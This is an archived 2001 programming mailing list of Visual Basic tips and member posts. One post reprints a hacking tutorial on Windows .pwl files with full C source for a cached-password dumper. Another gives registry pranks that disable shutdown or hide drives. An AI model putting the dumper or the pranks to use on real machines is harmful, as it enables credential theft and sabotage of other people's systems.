Where ControlName is the name of the control, Constant is one of the
constants above, and TRUE_OR_FALSE is either True or False. The following
example will stop Text1 from redrawing (ie the control being updated).

SendMessage(Text1.hWnd, WM_SETREDRAW, False, 0& )

To allow it to redraw, simply change False to True. Sometimes, if the
control things it does not need to redraw, you need to force it to redraw:

Text1.Refresh

The following example will stop Text1 from ever getting the focus. You will
receive the GotFocus event once, and then never again, until you call the
SendMessage procedure and change False to True

SendMessage Text1.hwnd, WM_SETFOCUS, False, 0&



----------------------------------------------------------------------------
----

#91 From: "FDB & HRB" <ferialb@...>
Date: Sat Jun 30, 2001 4:13 am
Subject: How To Unsubscribe!!!
ferialb@...
Send Email Send Email
 
Hi All,
If you like to leave this mailing list, please send a blank email to:

fdb-unsubscribe@yahoogroups.com

PLEASE DO NOT SEND UNSUBSCRIBE COMMAND TO THE LIST!!!

Best Wishes,
   Farzad Badili (FDB)
     mailto:fdb@...
     mailto:farzadbadili@...
     http://www.fdb.ipfox.com/
     http://www.bigfoot.com/~fdb/
     ICQ:47010001

#90 From: Christina Umowski <bigballofyarn@...>
Date: Sat Jun 30, 2001 3:59 am
Subject: Re: [FDB-LIST] Hello I'm a new member !
bigballofyarn@...
Send Email Send Email
 

Emma.. I'm a new member too.  I'm also a student, and my future profession will be programming.  You said you'd help with C++ for beginners, so would you please give me some tips or anything you know before I teach it to myself.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This email is private and confidential and may contain legally privileged
information. If you are not named above as an addressee it may be unlawful for you to read, copy, distribute, disclose or otherwise use the informationn this email. If you are not the intended recipient of this email or do not know the sender, please delete this message.

VM me 1-800-My-Yahoo MB# Hanson2727

 



Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail - only $35 a year!
http://personal.mail.yahoo.com/

#89 From: anoush@...
Date: Sat Jun 30, 2001 3:38 am
Subject: Hello I'm a new member !
anoush@...
Send Email Send Email
 
Hi programmers!
It's really nice to be a member of this list !
I'm a student ..My future profession is a programmer (of course)
I already know Pascal ,C ,Assembly ..I want to study C++ this year !
I'll be glad if you give me some advises how to start learning C++...

Also want to find friends among you !
Please Write me back !

Bye
Emma

#81 From: ofoliquaye adams <bibi241912@...>
Date: Fri Jun 29, 2001 7:58 pm
Subject: can you pls
bibi241912@...
Send Email Send Email
 
hi,
Please can you be of help as I want to learn more
about  BASIC, PASCAL, C, C++, FOXPRO, VBASIC, DELPHI,
JAVA,
ASP , ASSEMBLY & etc. programms.Thanks
Bert

__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/

#71 From: Rain Maker <azrainmaker@...>
Date: Fri Jun 29, 2001 5:58 pm
Subject: Read the content folks.
azrainmaker@...
Send Email Send Email
 
Apparently people are missing the point. To
unsubscribe to this group it states that you are to
send a message to fdb-unsubscribe@...
(they probably meant fdb-unsubscribe@yahoogrOUps.com)
and did not intend for you all to SPAM the rest of us
with a reply to the original messages.

I repeat, do not use REPLY to remove yourself from
this list. Rather try sending a message to
fdb-unsubscribe@yahoogroups.com

Thank you.


--- Jessica <deckity@...> wrote:
> UNSUBSCRIBE
> --- Blair Hancock <blairhancock@...> wrote:
> >
> > --- Jeanne Beales <horsenut7@...> wrote:
> > > REMOVE
> > > UNSUBSCRIBE
> > >
> > >
> __________________________________________________
> > > Do You Yahoo!?
> > > Get personalized email addresses from Yahoo!
> Mail
> > > http://personal.mail.yahoo.com/
> > >
> >
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Get personalized email addresses from Yahoo! Mail
> > http://personal.mail.yahoo.com/
> >
> > To Unsubscribe via e-mail, Send an e-mail to:
> > fdb-unsubscribe@...
> >
> >
> >
> > Your use of Yahoo! Groups is subject to
> > http://docs.yahoo.com/info/terms/
> >
> >
>
>
> __________________________________________________
> Do You Yahoo!?
> Get personalized email addresses from Yahoo! Mail
> http://personal.mail.yahoo.com/
>
> To Unsubscribe via e-mail, Send an e-mail to:
> fdb-unsubscribe@...
>
>
>
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/
>
>


=====
....\|/ ____ \|/....
     ~@_/ Oo \_@~    Jesters Do It Till Ya Smile!
     /_( \__/ )_\
        \__U_/

__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/

#53 From: "FDB & HRB" <ferialb@...>
Date: Fri Jun 29, 2001 3:08 pm
Subject: How you change the User password on the SQL server 6.5.
ferialb@...
Send Email Send Email
 
How you change the User password on the SQL server 6.5.



Windows API/Global Declarations:


'**************************************
'Windows API/Global Declarations for :Ho
'     w You Change The Password on SQL Server
'**************************************
Option Explicit
'Note : you need to refrence MS SQLOLE t
'     o your project first
Global SQLServerx As New SQLOLE.SQLServer


'**************************************
' Name: How You Change The Password on S
'     QL Server
' Description:How you change the User pa
'     ssword on the SQL server 6.5.
' By: Adam Abas
'
' Inputs:User Name,
OldPassword,
NewPassword.
'
' Returns:Password changed.
'
' Assumes:SQL server 6.5 and VB 5, 6
'
' Side Effects:I don't know if there is
'     any effected side.In my computer works f
'     ine.
'
'This code is copyrighted and has' limited warranties.Please see http://w
'     ww.Planet-Source-Code.com/xq/ASP/txtCode
'     Id.1923/lngWId.1/qx/vb/scripts/ShowCode.
'     htm'for details.'**************************************



Public Sub Changepassword()
     Dim UserName As String * 20
     UserName = "USER1" 'OR Get valid user name from the network using
     'GetUserName From "advapi32.dll"
     SQLServerx.DisConnect
     SQLServerx.Connect ServerName:=SQLServer - Name, Login:="sa",
Password:=""
     Dim MyLogins As SQLOLE.Login
     On Error Goto Badpassword
     'Note: old password must be valid passwo
     '     d for same above user on the SQL server


     For Each MyLogins In SQLServerx.Logins


         If MyLogins.Name = Trim(UserName) Then
             MyLogins.SetPassword oldpassword:="123456",
NewPassword:="222222"
         Else
         End If
     Next
     Exit Sub
     Badpassword:
     MsgBox "Sorry,,Incorrect old password, try later or call SA.. !"
End Sub

#52 From: "FDB & HRB" <ferialb@...>
Date: Fri Jun 29, 2001 3:05 pm
Subject: Create File Association with default icon
ferialb@...
Send Email Send Email
 
Create File Association with default icon

Links file types with a application and set the file type's default icon.

'// You may use this code all you want on the condition you keep this simple
comment
'// Anyone who improves the code please let me know.
'// Date     : 21/1/2000
'// Author   : Damien McGivern
'// E-Mail   : Damien@...
'// Web Site : www.dingo-delights.co.uk
'// Purpose  : To create file associations with default icons

'// Improved 23/1/200 - New parameters 'Switch', 'PromptOnError', better
error handling

'// Parameters
'// Required    Extension       (Str) ie ".exe"
'// Required    FileType        (Str) ie "VB.Form"
'// Required    FileTYpeName    (Str) ie. "Visual Basic Form"
'// Required    Action          (Str) ie. "Open" or "Edit"
'// Required    AppPath         (Str) ie. "C:\Myapp"
'// Optional    Switch          (Str) ie. "/u"                  Default = ""
'// Optional    SetIcon         (Bol)                           Default =
False
'// Optional    DefaultIcon     (Str) ie. "C:\Myapp,0"
'// Optional    PromptOnError   (Bol)                           Default =
False

'// HOW IT WORKS
'// Extension(Str)   Default = FileType(Str)

'// FileType(Str)    Default = FileTypeName(Str)
'// "DefaultIcon"     Default = DefaultIcon(Str)
'// "shell"
'// Action(Str)
'// "command"   Default = AppPath(Str) & switch(Str) & " %1"

Option Explicit

Private Const REG_SZ As Long = 1

Private Const HKEY_CLASSES_ROOT = &H80000000
Private Const ERROR_SUCCESS = 0
Private Const KEY_ALL_ACCESS = &H3F
Private Const REG_OPTION_NON_VOLATILE = 0
Private PromptOnErr As Boolean

Private Declare Function RegCloseKey Lib "advapi32.dll" _
                                     (ByVal hKey As Long) As Long

Private Declare Function RegCreateKeyEx Lib "advapi32.dll" _
                                     Alias "RegCreateKeyExA" _
                                     (ByVal hKey As Long, _
                                     ByVal lpSubKey As String, _
                                     ByVal Reserved As Long, _
                                     ByVal lpClass As String, _
                                     ByVal dwOptions As Long, _
                                     ByVal samDesired As Long, _
                                     ByVal lpSecurityAttributes As Long, _
                                     phkResult As Long, _
                                     lpdwDisposition As Long) As Long

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _
                                     Alias "RegOpenKeyExA" _
                                     (ByVal hKey As Long, _
                                     ByVal lpSubKey As String, _
                                     ByVal ulOptions As Long, _
                                     ByVal samDesired As Long, _
                                     phkResult As Long) As Long

Private Declare Function RegSetValueExString Lib "advapi32.dll" _
                                     Alias "RegSetValueExA" _
                                     (ByVal hKey As Long, _
                                     ByVal lpValueName As String, _
                                     ByVal Reserved As Long, _
                                     ByVal dwType As Long, _
                                     ByVal lpValue As String, _
                                     ByVal cbData As Long) As Long


Public Function CreateFileAss(Extension As String, _
                               FileType As String, _
                               FileTypeName As String, _
                               Action As String, _
                               AppPath As String, _
                               Optional Switch As String = "", _
                               Optional SetIcon As Boolean = False, _
                               Optional DefaultIcon As String, _
                               Optional PromptOnError As Boolean = False) _
                               As Boolean

     On Error GoTo ErrorHandler:

     PromptOnErr = PromptOnError

     '// Check that AppPath exists.
     If Dir(AppPath, vbNormal) = "" Then
         If PromptOnError Then MsgBox "The application path '" & _
             AppPath & "' cannot be found.", _
             vbCritical + vbOKOnly, "DLL/OCX Register"

         CreateFileAss = False
         Exit Function
     End If

     Dim ERROR_CHARS As String: ERROR_CHARS = "\/:*?<>|" & Chr(34)
     Dim i As Integer

     If Asc(Extension) <> 46 Then Extension = "." & Extension
     '// Check extension has "." at front

     '// Check for invalid chars within extension
     For i = 1 To Len(Extension)
         If InStr(1, ERROR_CHARS, Mid(Extension, i, 1), vbTextCompare) Then
             If PromptOnError Then MsgBox "The file extension '" _
                   & Extension & "' contains an illegal char (\/:*?<>|" _
                   & Chr(34) & ").", vbCritical + vbOKOnly, "DLL/OCX
Register"

             CreateFileAss = False
             Exit Function
         End If
     Next

     If Switch <> "" Then Switch = " " & Trim(Switch
    Action = FileType & "\shell\" & Action & "\command"

     Call CreateSubKey(HKEY_CLASSES_ROOT, Extension)        '// Create .xxx
key
     Call CreateSubKey(HKEY_CLASSES_ROOT, Action)           '// Create action
key

     If SetIcon Then
         Call CreateSubKey(HKEY_CLASSES_ROOT, (FileType _
             & "\DefaultIcon"))    '// Create default icon key

         If DefaultIcon = "" Then
             '// This line of code sets the application's own icon as the _
              default file icon

             Call SetKeyDefault(HKEY_CLASSES_ROOT, _
                FileType & "\DefaultIcon", Trim(AppPath & ",0"))

         Else
             Call SetKeyDefault(HKEY_CLASSES_ROOT, FileType _
                  & "\DefaultIcon", Trim(DefaultIcon))

         End If
     End I
    Call SetKeyDefault(HKEY_CLASSES_ROOT, Extension, _
                 FileType)                  '// Set .xxx key default

     Call SetKeyDefault(HKEY_CLASSES_ROOT, FileType, _
                 FileTypeName)               '// Set file type default

     Call SetKeyDefault(HKEY_CLASSES_ROOT, Action, _
                 AppPath & Switch & " %1")     '// Set Command line

     CreateFileAss = True
     Exit Function

ErrorHandler:

     If PromptOnError Then MsgBox "An error occured while _
           attempting to create the file extension '" _
           & Extension & "'.", vbCritical + vbOKOnly, "DLL/OCX Register"

     CreateFileAss = False

End Function

Private Function CreateSubKey(RootKey As Long, NewKey As String) As Boolean
     '// This function creates a new sub key
     Dim hKey As Long, regReply As Long
     regReply = RegCreateKeyEx(RootKey, NewKey, _
          0&, "", REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hKey, 0&)

     If regReply <> ERROR_SUCCESS Then
         If PromptOnErr Then MsgBox "An error occured _
          while attempting to to create a registery key.", vbCritical + _
          vbOKOnly, "DLL/OCX Register"

         CreateSubKey = False
     Else
         CreateSubKey = True
     End If

     Call RegCloseKey(hKey)
End Function


Private Function SetKeyDefault(RootKey As Long, Address As String, Value As
String) As Boolean
     '// This function sets the default vaule of the key which is always a
string
     Dim regReply As Long, hKey As Long
     regReply = RegOpenKeyEx(RootKey, Address, 0, KEY_ALL_ACCESS, hKey)

     If regReply <> ERROR_SUCCESS Then
         If PromptOnErr Then MsgBox "An error occured while attempting _
           to access the registery.", vbCritical + vbOKOnly, "DLL/OCX
Register"
         SetKeyDefault = False
         Exit Function
     End If

     Value = Value & Chr(0)

     regReply = RegSetValueExString(hKey, "", 0&, REG_SZ, Value, Len(Value))

     If regReply <> ERROR_SUCCESS Then
         If PromptOnErr Then MsgBox "An error occured while _
            attempting to set key default value.", vbCritical + _
            vbOKOnly, "DLL/OCX Register"

         SetKeyDefault = False
     Else
         SetKeyDefault = True
     End If

     Call RegCloseKey(hKey)
End Function

#50 From: "FDB & HRB" <ferialb@...>
Date: Fri Jun 29, 2001 2:54 pm
Subject: List Installed Fonts
ferialb@...
Send Email Send Email
 
List Installed Fonts

Nearly every text editor needs a combo box listing all the fonts installed
on the PC, so the user can choose what font some text appears in.
Fortunately, this is very simple in VB, using the Screen.Fonts() array. You
could also use the Printer.Fonts() array to list the available printer
fonts.

Private Sub Form_Load()
     Dim I As Integer ' Declare variable.
     For I = 0 To Screen.FontCount -1 ' Determine number of fonts.
         List1.AddItem Screen.Fonts (I) ' Put each font into list box.
     Next I
End Sub

#49 From: "FDB & HRB" <ferialb@...>
Date: Fri Jun 29, 2001 2:50 pm
Subject: DSN
ferialb@...
Send Email Send Email
 
If you need to quickly create and delete a Date Source Name (DSN) on the
fly, use the code to do so. Authored by Waty Thierry.

Tip Code:

Option Explicit

'Declarations Used to Generate DSN
Private Const ODBC_ADD_DSN = 1 ' Add data source
Private Const ODBC_CONFIG_DSN = 2 ' Configure (edit) data source
Private Const ODBC_REMOVE_DSN = 3 ' Remove data source
Private Const vbAPINull As Long = 0& ' NULL Pointer

Private Declare Function SQLConfigDataSource Lib "ODBCCP32.DLL" _
(ByVal hwndParent As Long, ByVal fRequest As Long, ByVal lpszDriver _
As String, ByVal lpszAttributes As String) As Long

Public Sub CreateDSN(sDSN As String)
     Dim nRet As Long
     Dim sDriver As String
     Dim sAttributes As String

     sDriver = "Oracle73 Ver 2.5"
     sAttributes = "Server=pressdb.world" & Chr$(0)
     sAttributes = sAttributes & "DESCRIPTION=" & sDSN & Chr$(0)
     sAttributes = sAttributes & "DSN=" & sDSN & Chr$(0)
     sAttributes = sAttributes & "DATABASE=DB" & Chr$(0)
     sAttributes = sAttributes & "UID=Waty" & Chr$(0)
     sAttributes = sAttributes & "PWD=myPassword" & Chr$(0)

     DBEngine.RegisterDatabase "kiki", "Oracle73 Ver 2.5", True, sAttributes

     nRet = SQLConfigDataSource(vbAPINull, ODBC_ADD_DSN, sDriver,
sAttributes)
End Sub

Public Sub DeleteDSN(sDSN As String)
     Dim nRet As Long
     Dim sDriver As String
     Dim sAttributes As String

     sDriver = "Oracle73 Ver 2.5"
     sAttributes = sAttributes & "DSN=" & sDSN & Chr$(0)

     nRet = SQLConfigDataSource(vbAPINull, ODBC_REMOVE_DSN, sDriver,
sAttributes)

End Sub

#48 From: "FDB & HRB" <ferialb@...>
Date: Fri Jun 29, 2001 2:45 pm
Subject: Accessing a Speech Engine in Your Code
ferialb@...
Send Email Send Email
 
Accessing a Speech Engine in Your Code
To use a particular speech engine in your code, use the Agent API to set the
engine. For speech input engines, use SRModeID, specifying the mode ID for
the engine. However, note that the engine must be installed. To determine if
the engine is present, you can query SRModeID. The engine must match the
character's LanguageID setting. For example, you cannot set SRModeID to a
German speech recognition engine mode ID for a character whose LanguageID is
French.

Speech Input Engine Mode IDs

Voice Mode IDs
Microsoft Speech Recognition Engine v4.0
{D8905400-B5C8-11D0-B968020AFDB1B9C}


Check and set the character's LanguageID and SRModeID in your code before
you attempt to define grammar for the voice parameters of Command objects
your application. Also consider checking the browser or system language so
you can be certain to match your users' configuration. The engine may fail
if you attempt to define a grammar for a language that the engine does not
match.

A character set for text-to-speech (TTS) output can be compiled with a
default speech output engine's mode ID preference. When the character is
loaded, if the engine is installed and matches the character's LanguageID,
Agent will attempt to load that mode ID for speech output. If the engine is
not present or has a different LanguageID, Agent will attempt to load the
first mode ID it finds that matches the character's LanguageID, but still
sets the character's compiled speed and pitch setting.

To query for or set an engine's mode ID, use TTSModeID. With TTSModeID you
can set a mode ID that is different from the character's LanguageID. For
instance, you can set a German character to speak using a French mode ID.
Speech output engine mode IDs not only define which engine you use, but also
correspond to specific voices supported for an engine. You can also use the
Microsoft Agent Character Editor or the tools included in the Microsoft
Speech SDK to query for the mode IDs of TTS engines installed on your
system.

Speech Output Mode IDs

Voice Mode IDs
Adult Female #1, US English, L&H TruVoice
{CA141FD0-AC7F-11D1-97A3-006008273008}
Adult Female #2, US English, L&H TruVoice
{CA141FD0-AC7F-11D1-97A3-006008273009}
Adult Male #1, US English, L&H TruVoice
{CA141FD0-AC7F-11D1-97A3-006008273000}
Adult Male #2, US English, L&H TruVoice
{CA141FD0-AC7F-11D1-97A3-006008273001}
Adult Male #3, US English, L&H TruVoice
{CA141FD0-AC7F-11D1-97A3-006008273002}
Adult Male #4, US English, L&H TruVoice
{CA141FD0-AC7F-11D1-97A3-006008273003}
Adult Male #5, US English, L&H TruVoice
{CA141FD0-AC7F-11D1-97A3-006008273004}
Adult Male #6, US English, L&H TruVoice
{CA141FD0-AC7F-11D1-97A3-006008273005}
Adult Male #7, US English, L&H TruVoice
{CA141FD0-AC7F-11D1-97A3-006008273006}
Adult Male #8, US English, L&H TruVoice
{CA141FD0-AC7F-11D1-97A3-006008273007}


Note  There is a difference between a speech engine's installation CLSID and
its mode ID. Similarly, a speech engine also has an engine ID, but this ID
is not applicable in the Agent API.


Built on Monday, August 14, 2000
Send feedback to the Platform SDK.

© 1999 Microsoft Corporation. All rights reserved. Terms of use.

#47 From: "FDB & HRB" <ferialb@...>
Date: Fri Jun 29, 2001 2:43 pm
Subject: Windows Password Files Torn Apart
ferialb@...
Send Email Send Email
 
Windows Password Files Torn Apart
By Ankit Fadia


All, Windows, users would probably be familiar with the infamous 'pwl' files
or the files where the Windows login passwords are stored. Well, this manual
is aimed at, simplifying how the authentication works when you type in your
User name And password, what exactly .pwl files contain, where exactly they
come into the picture and a whole lot of related things.


The *.pwl files are basically files in which the Windows Login Passwords are
stored in. These files can be found in the \Windows directory by the name of
the User, whose password it contains. For Example, if your Windows login
Username is ankit, then the corresponding password would be stored in
c:\windows\ankit.pwl Get it? These .pwl files are readable in any text
editor like Notepad, but they are definitely not understandable.  A typical
example, of the contents of a  .pwl file is as follows:


ã,...-

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
ÿÿÿÿÿÿÿ

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
ÿÿÿÿÿÿÿ

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
ÿÿÿÿÿÿR



p u.ÐX+|rÐq"±/2³ Êå¡hCJ,D  ×  `ÍY¥!íx}(qW¤ãƱ<!?àÜ6sá~ôæ4+\3/4õ+%E°ËÔýmÇÔ
ÞI», B à×oøÐ...'@


This is definitely not something; a normal person can comprehend or make
sense of.


Now, besides the Windows registry, Microsoft's policy of security by
obscurity can also be seen in the case of what .pwl files. Although the
original usage of .pwl files was a standard to be used, by all applications,
Microsoft simply does not officially provide any type of information on the
standards of .pwl files.


To get a list of .pwl files in your system or in other words to find out
which all passwords using the .pwl technology (What a good friend of mine
likes to call them) are being stored on a particular system, then simply
open c:\windows\system.ini in a plaintext editor like Notepad and look under
the [Password Lists] section. A typical line from this section would be in
the following format: USERNAME=Path_of_pwl_file


For Example,


[Password Lists]

ankit=c:\windows\ankit.pwl


This tells us that the .pwl containing the password for the Username 'ankit'
is stored at: c:\windows\ankit.pwl


Anyway, the algorithm which is used in the case of storing information in
the .pwl files (rather in the .pwl security option), refers to such files as
databases, with each record consisting of three fields-:


Resource name

Resource password

Resource type (0..255)

Before, I move onto giving details about the above three fields, let us
discuss, how exactly the User Authentication process takes place in Windows
(In the case of the login password.)

NOTE: The below process is what happens in the case of the Windows login
password.


When you first set a new account on Windows, it derives an encryption key
from the specified password and creates c:\windows\username.pwl file, where
username is the, well, quite obvious. One, thing to note here is that the
.pwl file does not, I repeat does not store the login password, nor does it
store the Username.(Although its name is same as the Username for whose
authentication it is used.) What it stores, will become clearer once you
read the below paragraph.


Now, the next time, you boot your system and type in your Username and
password, then Windows,

decrypts the .pwl corresponding to the Username provided, using the
decrypting key obtained from the password provided. Once, the .pwl file has
been decrypted using the decryption key obtained from the provided password,
Windows, verifies the checksum. If the checksum is correct or matches, then
the user is authenticated else, try again. In the process of checksum
verification, the username provided plays an important role.


Both the Username and Checksum are encrypted using a simple algorithm: RC4.


*****************************

HACKING TRUTH: Although, almost always, the name of the .pwl file is same as
the Username, sometimes the name does differ. For Example, if, I use 2 to 3
different applications using .pwl security and then use the same username
i.e. ankit in all of them to store passwords, then the naming of the .pwl
files would be as follows:

The first .pwl would be named: ankit.pwl, the second would be named:
ankit000.pwl , the third would be: ankit001.pwl and so on.

And, I am not too sure, but from what I gather, Windows never ever
overwrites a .pwl file.

******************************


Coming, back to the fields. Both the resource name and resource password
fields can be binary or simply encrypted and they are interchangeable by the
application involved. The Resource Type field can have different numerical
values depending upon the software involved. For Example, DUN, Dial Up
Server and Windows Login, uses 6 as the value for the Resource Type field.
While, Internet Explorer uses 19 as the value of the same field.



One thing to note about Windows Login password algorithms is that, the first
time it was introduced, the algorithm was very very weak and allowed
passwords to be easily decrypted. However, with each new release, the
algorithms used have been improving. However, it still has not reached a
reliable level.

In the algorithms used by various Operating Systems to encrypt their login
passwords, the algorithm used by Windows is the worst.  Some common defects
are-:


The cipher algorithms involved are relatively lame. i.e. RC4 and MD5. They
can easily be broken. Refer to: http://hackingtruths.box.sk\algorithms.htm
for more info on various Encryption algorithms.
All passwords are converted to uppercase
Un-acceptably lame or weak method of storage.
Various Holes existing in the Password Caching Facility. The following
Visual C++ program demonstrates further as to how this vulnerability can be
exploited.

/*
(c) 1997, 98 Vitas Ramanchauskas

Use Visual C++ to compile this into win32 console app.
This code provided for educational purpose only.
!! NO WARRANTY, NO SUPPORT !!
*/
#include <windows.h>
#include <stdio.h>

typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry; // size of this entry, in bytes
WORD cbResource; // size of resource name, in bytes
WORD cbPassword; // size of password, in bytes
BYTE iEntry; // entry index
BYTE nType; // type of entry
BYTE abResource[1]; // start of resource name
// password immediately follows resource name
} PASSWORD_CACHE_ENTRY;

char *buf, *ob1;
int cnt = 0;

BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)
{
cnt++;
memmove(buf, x->abResource, x->cbResource);
buf[x->cbResource] = 0;
CharToOem(buf, ob1);    // for non-English users
printf("%-30s : ", ob1);

memmove(buf, x->abResource+x->cbResource, x->cbPassword);
buf[x->cbPassword] = 0;
CharToOem(buf, ob1);
printf("%s\n", ob1);

return TRUE;
}

void main()
{
buf = new char[1024];
ob1 = new char[1024];
puts("There is no security in this crazy world!\n"
"Win95 PWL viewer v1.01 (c) 1997, 98 Vitas Ramanchauskas\n"
"************\n"
"!DISCLAIMER!\n"
"!This program intended to be used for legal purpose only!\n"
"************\n\n"
"This program shows cached passwords using standard (but undocumented)\n"
"Windows API on local machine for current user (user must be logged in).\n"
"You may invoke pwlview in this way: pwlview >> textfile.txt\n"
"to save passwords in file (don't forget to press enter twice)\n"
"Press Enter to begin...\n");
getchar();

HINSTANCE hi = LoadLibrary("mpr.dll");
if(!hi)
{
puts("Couldn't load mpr.dll. This program is for Windows 95 only");
return;
}
WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi,
"WNetEnumCachedPasswords");
if(!enp)
{
puts("Couldn't import function. This program is for Windows 95 only");
return;
}
(*enp)(0,0, 0xff, pce, 0);
if(!cnt)
puts("No passwords found.\n"
"Probably password caching was not used or user is not logged in.");
FreeLibrary(hi);
puts("\nPress Enter to quit");
getchar();
}


Well, that is all friends, this is Ankit Fadia, signing off until the next
Hacking Truths Manual. Bye.

Ankit Fadia,

ankit@...

http://hackingtruths.box.sk/


To receive tutorials on EVERYTHING YOU DREAMT OF written by Ankit Fadia,
join his mailing list, by sending an email to:
programmingforhackers-subscribe@egroups.com



© 1999 Hacking Truths. All rights reserved. Contact the Webmaster

#43 From: ethiraj bhaskar <bhaskar_e@...>
Date: Fri Jun 29, 2001 11:51 am
Subject: hi frnds
bhaskar_e@...
Send Email Send Email
 
hi frnds
   it is greet to be have a part in ocean of experts
   my name is bhaskar, working as senior prg , my
specilisation is vb,oracle presently
if any clarification on prgs do write so i will also
learn , as solving & knowing diff problems will always
help both sides , mail me at bhaskar_e@...
yrs
bhaskar


__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/

#40 From: "Alin Selicean" <alin_selicean@...>
Date: Fri Jun 29, 2001 9:35 am
Subject: Hi, folks
alin_selicean@...
Send Email Send Email
 
Hi, folks !

I am honoured to be surrounded by so many experts and programmers of
various levels.

My name is Alin Selicean, I am from Romania and I am IS Specialist at
a brewery factory in Cluj. More about me at
www.geocities.com/alin_selicean. My main interests are, for the
moment, in JavaScript/VBScript and MS InterDev/ASP and ISA Server.

If I can be of any help, do not hesitate to address the questions. I
am not really an expert, but if I can help anybody with anything, let
me know.

Yours,
Alin

#39 From: Akash Kava <ackava2000@...>
Date: Thu Jun 28, 2001 7:25 pm
Subject: hi all
ackava2000@...
Send Email Send Email
 
well nice to receive mail for invitation, guys i am
expert in c/c++ ,pascal , assembly , mfc , vb , i will
like to share development with you all,

please do not send any tutorial or any long mail about
any technology,

please only ask help for any doubts. because i have my
own software firm and i dont want to participate in
any forwards....

Akash Kava

____________________________________________________________
Do You Yahoo!?
For regular News updates go to http://in.news.yahoo.com

#38 From: "FDB & HRB" <ferialb@...>
Date: Mon Jun 18, 2001 4:45 pm
Subject: Untold Windows Tips and Secrets By Ankit Fadia
ferialb@...
Send Email Send Email
 
______________________________________________________________________

Untold Windows Tips and Secrets By Ankit Fadia ankit@...

_______________________________________________________________________

Welcome to another Hacking Truths Manual. This time I have a collection of
Tips and Tricks which no body normally knows, the secrets which Microsoft is
afraid to tell the people, the information which you will seldom find all
gathered up and arranged in a single file. To fully reap this Manual you
need to have a basic understanding of the Windows Registry, as almost all
the Tricks and Tips involve this file.

****************

Important Note: Before you read on, you need to keep one thing in mind.
Whenever you make changes to the Windows Registry you need to Refresh it
before the changes take place. Simply press F5 to refresh the registry and
enable the changes. If this does not work Restart your system

****************

Exiting Windows the Cool and Quick Way

Normally it takes a hell lot of time just Shutting down Windows, you have to
move your mouse to the Start Button, click on it, move it again over Shut
Down, click, then move it over the necessary option and click, then move the
cursor over the OK button and once again (you guessed it) click.This whole
process can be shortened by creating shortcuts on the Desktop which will
shut down Windows at the click of a button. Start by creating a new
shortcut( right click and select New> Shortcut). Then in the command line
box, type (without the quotes.)

'C:\windows\rundll.exe user.exe,exitwindowsexec'

This Shortcut on clicking will restart Windows immediately without any
Warning. To create a Shortcut to Restarting Windows, type the following in
the Command Line box:

'c:\windows\rundll.exe user.exe,exitwindows'

This Shortcut on clicking will shut down Windows immediately without any
Warning.

Ban Shutdowns : A trick to Play on Lamers

This is a neat trick you can play on that lamer that has a huge ego, in this
section I teach you, how to disable the Shut Down option in the Shut Down
Dialog Box. This trick involves editing the registry, so please make
backups. Launch regedit.exe and go to :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

In the right pane look for the NoClose Key. If it is not already there then
create it by right clicking in the right pane and selecting New > String
Value.(Name it NoCloseKey ) Now once you see the NoCloseKey in the right
pane, right click on it and select Modify. Then Type 1 in the Value Data
Box.

Doing the above on a Win98 system disables the Shut Down option in the Shut
Down Dialog Box. But on a Win95 machine if the value of NoCloseKey is set to
1 then click on the Start > Shut Down button displays the following error
message:

This operation has been cancelled due to restrictions in effect on this
computer. Please contact your system administrator.

You can enable the shut down option by changing the value of NoCloseKey to 0
or simply deleting the particular entry i.e. deleting NoCloseKey.

Instead of performing the above difficult to remember process, simply save
the following with an extension of .reg and add it's contents to the
registry by double clicking on it.

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
er]

"NoClose"="1"

Disabling Display of Drives in My Computer

This is yet another trick you can play on your geek friend. To disable the
display of local or networked drives when you click My Computer go to :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

Now in the right pane create a new DWORD item and name it NoDrives. Now
modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to
refresh. When you click on My Computer, no drives will be shown. To enable
display of drives in My Computer, simply delete this DWORD item. It's .reg
file is as follows:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
er]

"NoDrives"=dword:03ffffff

Take Over the Screen Saver

To activate and deactivate the screen saver whenever you want, goto the
following registry key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ScreenSavers

Now add a new string value and name it Mouse Corners. Edit this new value
to -Y-N. Press F5 to refresh the registry. Voila! Now you can activate your
